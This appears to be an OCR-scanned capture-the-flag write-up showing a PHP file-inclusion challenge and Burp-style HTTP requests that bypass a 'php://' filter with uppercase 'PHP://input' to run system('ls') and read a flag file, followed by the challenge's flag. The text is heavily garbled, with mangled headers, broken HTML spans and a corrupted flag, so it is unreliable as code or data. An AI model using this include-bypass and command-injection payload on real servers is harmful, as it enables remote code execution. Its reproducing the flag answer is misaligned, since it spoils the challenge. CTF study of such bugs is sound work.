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<?php
show_source(__FILE_ );
echo $ GET[ 1;
$page=$ GET[ 1;
while (strstr($page,

$page=str_replace( , $page);

)i
include($page);
?>
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Request Response I.
J Raw I Params. I Headew Raw | Headers | Hex
GET /?page=PHP://inp HTTP/Ll.1 A H#O007700"=[</span><span style="color: A
Host: 111.158.25.45:3159591 - #DDO000"="'"hello' </span®<span style="color: #007700"=]; <br -
User-Agent: Mozilla/E5.0 (Windows NT €.1; Winfd; x€4; rv:-T74.0) /refspan=<span style="color: #0DO0EE"»$page</span><span
Gecko/Z0100101 Firefox/74.0 style="color: #007700">=</span><span style="color:
Accept: #O000EE">% GET</span><span style="color:
text/html, application/xhtmltxnl, application/xml;q=0.9, image /fwebhp H#O007700"=[</span*<span style="color:
LY/ *;g=0.8 #DDO000" > 'page ' </span®<span style="color: §007700"=];<br
Accept-Language: Srwhile&nbsp; {</span><span style olor:
zh-CH, zh;q=0.8,zh-TW;gq=0.7,sh-HE;q=0. 5 ,en-US,;g=0_3 ,en,;gq=0_.2 #O0000BE" »strstr</span><span style="color:
Connection: close FO007700"={</span><span style="color:
Upgrade-Insecure-Regquests: 1 #O00O0ODBE"=$page</span><span style="color:
Cache-Control: max-age=0 #007700" =, &nbsp; </span®<span style="color: “\
Content-Length: 28 #DD0000"="php: /" </span><span style="color:
#007700"=) }&nbsp: { <br />&nbsp ; &nbsp ; &nbsp ; &nbsp: </ span><span
<?bhp system("1ls"); 7= style="color: #O00OEE"=j$page</span><span style="color:
\ $007700">=</span><span style="color:
#0000EE"»str_replace</span*<span style="color:
- #007700"=({</span>*<span style="color:
1 H #DDO000"="php: ff"</span><span style="color:
#007700" >, &nbsp; </spanr<span style="color:
— #DD0000"=""</span><span style="color:
#007700" =, &nbsp; </spanr<span styl color:
: b) #O00OODEE"=»$page</span><span style="color: $007700"=);<br /»}<br
L Srinclude (< /span><span style="color:
:§§E #0000EE"»Spage</span*<span style="color: #007700"#=);<br
frefspan=<span style="color: #O0000BB"=?&gt:<hr /=</span>
: H <fspan>
</code>fl4gisisish3r3. php «.___
E_ index. php
prhpinfo._php
= - i
v v

GET /?page=PHP://input HTTP/1l.1

Host: 111.198.795_45:3159591

User-Agent: Mozillas5.0 (Windows NT &.1; Wingéd;
Ceclko/IZ0100101 Firefox/74.0

Accept:

text/html , application/xhtmltxml  application/xml;q=0_9, image fwebp
PR ol -]

Accept-Language:

sh-CH, zh;q=0.8,sh-TW;q=0.7 , sh-HE;gq=0_5 en-US;gq=0_3 , en;q=0_2

Connection:

Tpgrade-Insecure-Reguests: 1
<7php system('"cat fl4gisisish3r3.php"); 7=

xE4; rviT4.00

close

Cache-Control: max-age=0
Content-Length: 48

#007700">[</span><span style="color:
#DDOO0O0"> "hello ' </span><span style="color: FO0T7700"=];<hr
fr<fspan><span style="color: HO000EE">Spage</span»<span
style="ocolor: FOOT700">=</span><span style="color:
#0000BE">$§ GET</span><span style="color:
#O007700">[</span=<span style="color:
#DDO00D">"'page ' </span><span styl color:
Srwhile&nbsp; (</span*<span style="color:
#0000BE">strstr</span*<span style="color:
#O07700"={</span><span style="color:
#O000EE">$page</span><span style="color:
#0O07700"> &nbgp; </span><span style="coloxr:
FDDO000"="php: f/"</span=><span style="color:

#007700"=) )&nbsp: { <br />&nbsp: &nbsp; &nbsp; &nbsp; </span*<span
style="color: #OOOOBE":$page</spanr<span style="color:
#O007700">=</gpan><span style="color:

FOOD00OEBE"»str replace</spanr<span style="color:
#007700">{</span¥*<span style="color:

FDDOOOO">"php: f/"</span=<span style="color:

#007700">,&nbsp; </span><span style="colox:
FDDOOOO"=""</span><span style="color:
#007700"> &nbsp; </span><span style="color:
#0000BE">$page</span><span style="color: #007700"=);<br /=}<br
Srinclude{</span><span style="color:
#OOOOEE">$page</span><span style="color: #007700"=);<br
Srafspanr<span style="color: FO0000EE"=?&gt;:<hr /></span>
<fspan=

<fcode><?php
$flag="crf{87cabfca-96cE-4chd-5075-46£00894754d2
1=

#007700"=7; <br
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